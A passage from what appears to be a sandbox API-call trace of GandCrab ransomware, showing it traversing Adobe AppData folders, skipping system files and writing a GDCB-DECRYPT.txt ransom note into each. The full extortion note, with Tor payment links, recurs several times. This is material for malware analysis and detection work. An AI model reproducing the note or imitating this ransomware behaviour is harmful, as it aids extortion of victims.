returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\" [0053.335] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.335] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.335] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.335] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.336] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.336] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.336] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\") returned 55 [0053.336] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*" [0053.336] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5892a0 [0053.336] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.336] FindNextFileW (in: hFindFile=0x5892a0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.336] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.336] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.336] FindNextFileW (in: hFindFile=0x5892a0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.336] FindClose (in: hFindFile=0x5892a0 | out: hFindFile=0x5892a0) returned 1 [0053.336] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.336] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\\\GDCB-DECRYPT.txt") returned 72 [0053.336] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\headlights\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.337] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.337] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.337] CloseHandle (hObject=0x4f8) returned 1 [0053.337] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.338] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\") returned 55 [0053.338] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*" [0053.338] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5892a0 [0053.338] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.338] FindNextFileW (in: hFindFile=0x5892a0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.338] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.338] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.338] FindNextFileW (in: hFindFile=0x5892a0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.338] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.338] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.338] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt" [0053.338] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.338] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned 71 [0053.338] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned 71 [0053.338] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned 71 [0053.338] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Headlights\\GDCB-DECRYPT.txt") returned 71 [0053.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.338] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.338] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.339] FindNextFileW (in: hFindFile=0x5892a0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.339] FindClose (in: hFindFile=0x5892a0 | out: hFindFile=0x5892a0) returned 1 [0053.339] FindNextFileW (in: hFindFile=0x589020, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.339] lstrcmpW (lpString1="Linguistics", lpString2=".") returned 1 [0053.339] lstrcmpW (lpString1="Linguistics", lpString2="..") returned 1 [0053.339] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Linguistics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics" [0053.339] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\" [0053.339] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.339] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.339] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.339] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\") returned 56 [0053.339] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*" [0053.339] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5890e0 [0053.339] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.339] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.339] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.339] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.339] FindNextFileW (in: hFindFile=0x5890e0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.339] FindClose (in: hFindFile=0x5890e0 | out: hFindFile=0x5890e0) returned 1 [0053.340] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.340] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\\\GDCB-DECRYPT.txt") returned 73 [0053.340] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\linguistics\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.341] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.341] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.341] CloseHandle (hObject=0x4f8) returned 1 [0053.342] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.342] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\") returned 56 [0053.342] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*" [0053.342] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x589060 [0053.342] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.342] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.342] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.342] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.342] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.342] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.342] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.342] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt" [0053.342] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.342] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned 72 [0053.342] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned 72 [0053.342] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned 72 [0053.342] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Linguistics\\GDCB-DECRYPT.txt") returned 72 [0053.342] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.342] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.342] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.342] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.342] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.342] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.342] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.343] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.343] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.343] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.343] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.343] FindClose (in: hFindFile=0x589060 | out: hFindFile=0x589060) returned 1 [0053.343] FindNextFileW (in: hFindFile=0x589020, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.343] lstrcmpW (lpString1="LogTransport2", lpString2=".") returned 1 [0053.343] lstrcmpW (lpString1="LogTransport2", lpString2="..") returned 1 [0053.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="LogTransport2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2" [0053.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\" [0053.343] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.343] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.343] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.343] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.343] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.343] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.343] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned 58 [0053.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*" [0053.343] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x589320 [0053.343] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.343] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.344] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.344] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.344] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.344] lstrcmpW (lpString1="Logs", lpString2=".") returned 1 [0053.344] lstrcmpW (lpString1="Logs", lpString2="..") returned 1 [0053.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="Logs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" [0053.344] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned 62 [0053.344] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.344] lstrcmpW (lpString1="LogTransport2.cfg", lpString2=".") returned 1 [0053.344] lstrcmpW (lpString1="LogTransport2.cfg", lpString2="..") returned 1 [0053.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="LogTransport2.cfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" [0053.344] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg") returned 75 [0053.344] lstrcmpW (lpString1=".cfg", lpString2=".sql") returned -1 [0053.344] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.344] FindClose (in: hFindFile=0x589320 | out: hFindFile=0x589320) returned 1 [0053.344] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.344] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\\\GDCB-DECRYPT.txt") returned 75 [0053.344] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\logtransport2\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.346] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.346] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.346] CloseHandle (hObject=0x4f8) returned 1 [0053.346] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.346] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\") returned 58 [0053.346] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*" [0053.346] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x589220 [0053.347] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.347] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.347] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.347] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.347] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.347] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.347] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.347] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt" [0053.347] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.347] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned 74 [0053.347] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned 74 [0053.347] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned 74 [0053.347] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\LogTransport2\\GDCB-DECRYPT.txt") returned 74 [0053.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.347] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.347] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.347] FindNextFileW (in: hFindFile=0x589220, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.347] lstrcmpW (lpString1="Logs", lpString2=".") returned 1 [0053.347] lstrcmpW (lpString1="Logs", 